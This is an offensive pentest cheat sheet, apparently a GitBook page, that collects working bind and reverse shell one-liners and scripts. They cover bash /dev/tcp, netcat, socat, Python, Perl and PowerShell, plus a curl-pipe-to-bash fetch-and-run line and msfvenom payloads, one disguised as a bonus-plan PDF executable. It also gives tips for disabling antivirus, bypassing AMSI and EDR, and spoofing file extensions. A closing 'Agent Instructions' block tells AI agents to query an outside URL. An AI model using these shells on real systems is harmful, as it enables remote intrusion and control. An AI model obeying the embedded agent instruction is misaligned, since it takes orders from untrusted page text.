# Bind and Reverse Shell

## Tools

### Online

{% embed url="<https://www.revshells.com/>" %}

### LazyRevShell

{% embed url="<https://github.com/aniqfakhrul/LazyShell>" %}
LazyShell
{% endembed %}

<figure><img src="/files/JnDqGROOeHIREifMcAtw" alt=""><figcaption></figcaption></figure>

### One-Lin3r

{% embed url="<https://github.com/D4Vinci/One-Lin3r>" %}
One-Lin3r
{% endembed %}

```
pip install one-lin3r
```

<figure><img src="/files/KTk4yhQH0EwR4NhWCyQd" alt=""><figcaption></figcaption></figure>

### FuegoShell

{% embed url="<https://github.com/v1k1ngfr/fuegoshell>" %}

## Web Shells

{% content-ref url="/pages/T4JGQDdvKRiioaVzxp5X" %}
[Web Shell](/0xss0rz/pentest/shells/web-shell.md)
{% endcontent-ref %}

## Reverse Shell - Not Web

{% embed url="<https://www.revshells.com/>" %}
Online - Reverse Shell Generator
{% endembed %}

{% embed url="<https://tex2e.github.io/reverse-shell-generator/index.html>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>" %}

{% embed url="<https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>" %}

### revshell.sh - Test all methods

```bash
#!/bin/bash

# Replace <YOUR_IP> with your IP address
YOUR_IP="<YOUR_IP>"
PORT=2121

# Attempt to use different methods for a reverse shell
if command -v bash > /dev/null; then
    bash -i >& /dev/tcp/$YOUR_IP/$PORT 0>&1
elif command -v nc > /dev/null; then
    nc $YOUR_IP $PORT -e /bin/bash
elif command -v python3 > /dev/null; then
    python3 -c "import socket,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"$YOUR_IP\",$PORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn(\"/bin/bash\")"
elif command -v python > /dev/null; then
    python -c "import socket,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"$YOUR_IP\",$PORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn(\"/bin/bash\")"
elif command -v perl > /dev/null; then
    perl -e "use Socket; \$i=\"$YOUR_IP\"; \$p=$PORT; socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\")); connect(S,sockaddr_in(\$p,inet_aton(\$i))); open(STDIN,\">&S\"); open(STDOUT,\">&S\"); open(STDERR,\">&S\"); exec(\"/bin/bash -i\");"
else
    echo "No suitable reverse shell method found."
fi

```

```
curl http://IP/revshell.sh|bash
```

### rs-shell - RS in Rust

{% embed url="<https://github.com/BlWasp/rs-shell>" %}
Rust RS
{% endembed %}

### Secure Reverse Shell&#x20;

Reverse shell tool that uses AES-GCM (256-bit) encryption and ECDH (Curve P-256) to ensure encrypted and protected communication

{% embed url="<https://github.com/OusH4x/AESRevShell?tab=readme-ov-file>" %}

### FullBypass

Bypass AMSI

{% embed url="<https://github.com/Sh3lldon/FullBypass>" %}

### rcat

{% embed url="<https://github.com/xct/rcat>" %}

### RevShellGenerator

A **polymorphic PowerShell reverse shell generator** that produces a unique, heavily obfuscated payload on every run — no two outputs look alike.&#x20;

{% embed url="<https://github.com/Y3llowDuck/OSEP/tree/main/RevShellGenerator>" %}

### PowerJoker - Powershell Reverse Shell - Bypass Defender

{% embed url="<https://github.com/Adkali/PowerJoker/tree/main>" %}

### Over UDP

{% embed url="<https://github.com/trickster0/UDPlant>" %}

### Attack Host

`nc -nlvp 1234`

### Netcat - Victim

```
# Attacker
nc -nlvp [PORT]

# Victim
## Windows
nc.exe [IP] [PORT] -e cmd.exe
## Linux
nc [IP] [PORT] -e /bin/bash
## if -e option doesn't work
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
```

#### Netcat traditional

```
# Attacker
nc -nlvp [PORT]

# Victim
nc.traditional -e/bin/sh [IP] [PORT]
```

### Socat - Victim

```
# Attacker
socat TCP-L:<port> -

# Victim
## Windows
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
## Linux
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

######################
# Attacker
socat TCP-L:<port> FILE:`tty`,raw,echo=0
# Victim
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
```

#### Encrypted

```
# 1 - Generate a certificate
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

# 2 - merge the two created files into a single .pem
cat shell.key shell.crt > shell.pem

#### REVERSE SHELL ####

# 3 - Reverse shell listener
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

# 4 - Connect back
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
```

### Bash - Victim

```
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'

bash -c 'sh -i >& /dev/tcp/10.10.14.44/4444 0>&1'

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0

0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196
```

### Python - Victim

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

### Powershell - Victim

{% hint style="success" %}
*Also Check* [*PowerJocker*](#powerjoker-powershell-reverse-shell-bypass-defender) *and* [*FuegoShell*](#fuegoshell)
{% endhint %}

```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"
```

If:

```cmd-session
At line:1 char:1
+ $client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443) ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent
```

\=> Disable AV

{% content-ref url="/pages/3H9JTtBNJqIsmdr4TW9A" %}
[Disable / Remove AV Defender and Firewall](/0xss0rz/pentest/internal-pentest/disable-remove-av-defender-and-firewall.md)
{% endcontent-ref %}

#### Invoke-PowershellTcp.ps1

{% embed url="<https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1>" %}

`PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444`

### DLL

{% embed url="<https://gitlab.com/0xdf/ctfscripts/-/tree/master/rev_shell_dll?ref_type=heads>" %}

### MSFVenom

{% embed url="<https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/>" %}

```
msfvenom -p <PAYLOAD> <OPTIONS>

Ex:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi

Payload naming convention: <OS>/<arch>/<payload>
Ex: linux/x86/shell_reverse_tcp

msfvenom --list payloads | grep "linux/x86/meterpreter"

Listener:

msfconsole
use multi/handler
```

#### Linux

```shell-session
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
```

#### Windows

```shell-session
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > BonusCompensationPlanpdf.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
```

```shell-session
$ msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 712 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe
```

```shell-session
msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
lport => 8000
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8000
```

Cheatsheet:&#x20;

{% embed url="<https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/>" %}

More on: <https://www.revshells.com/>

{% content-ref url="/pages/dtkGhaNT9goTjNNZVnYQ" %}
[Metasploit](/0xss0rz/pentest/tools/metasploit.md)
{% endcontent-ref %}

#### Bypass AV / EDR

{% embed url="<https://github.com/murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access?s=03>" %}

### Curl

{% embed url="<https://github.com/irsl/curlshell>" %}

{% embed url="<https://danaepp.com/mastering-api-exploitation-crafting-reverse-shells-via-curl>" %}

{% embed url="<https://github.com/magisterquis/curlrevshell>" %}

## Bind Shell - Not Web

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet.md>" %}

### Netcat -Victim

```shell-session
nc -lvnp 7777
```

```
# Victim
## Linux
nc -vlp [PORT] -e /bin/bash
## Windows
nc.exe -nlvp [PORT] -e cmd.exe
## if -e option doesn't work
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

# Attacker
nc [IP] [PORT]

#### BIND SHELL ####

copy the PEM file on target

# 3 - Target
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

# 4 - Attacker
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
```

#### Encrypted shell

```
# 1 - Generate a certificate
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

# 2 - merge the two created files into a single .pem
cat shell.key shell.crt > shell.pem


```

### Socat - Vicitim

```
# Victim
## Windows
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
## Linux
socat TCP-L:<PORT> EXEC:"bash -li"

# Attacker
socat TCP:<TARGET-IP>:<TARGET-PORT> -
```

### Bash - Victim

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
```

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -l 10.129.201.134 1234 >/tmp/f
```

#### **Debugging**

```
htb-student@ubuntu:~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
nc: getnameinfo: Temporary failure in name resolution
htb-student@ubuntu:~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 10.129.201.134 1234 >/tmp/f
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
	  [-m minttl] [-O length] [-P proxy_username] [-p source_port]
	  [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
	  [-X proxy_protocol] [-x proxy_address[:port]] 	  [destination] [port]
htb-student@ubuntu:~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -l 10.129.201.134 1234 >/tmp/f
```

### Python - Victim

```python
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```

### Powershell - Vicitm

```powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
```

#### Invoke-PowershellTcp.ps1

{% embed url="<https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1>" %}

`PS > Invoke-PowerShellTcp -Bind -Port 4444`

### Attack Host

```shell-session
nc -nv 10.129.41.200 7777
```

## Right to left override - Masquerading

{% embed url="<https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1036-masquerading/right-to-left-override>" %}

Takes a file (usually executable) and appends a Unicode right to left override character to disguise the real file extension

{% embed url="<https://github.com/HaydoW/RTLO>" %}

{% embed url="<https://github.com/benjholla/RightToLeftOverrider>" %}

{% embed url="<https://github.com/henriksb/ExtensionSpoofer>" %}

## Shell inside a PNG

{% embed url="<https://github.com/Maldev-Academy/EmbedPayloadInPng?tab=readme-ov-file>" %}

## TTY upgrade

{% content-ref url="/pages/16bwEEpyWa92Oc6gtbya" %}
[TTY Upgrade](/0xss0rz/pentest/shells/tty-upgrade.md)
{% endcontent-ref %}

## Resources

{% embed url="<https://0xss0rz.github.io/2020-05-10-Oneliner-shells/>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="/files/a876wNYE568SJIfTZVxL" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xss0rz.gitbook.io/0xss0rz/pentest/shells/bind-and-reverse-shell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.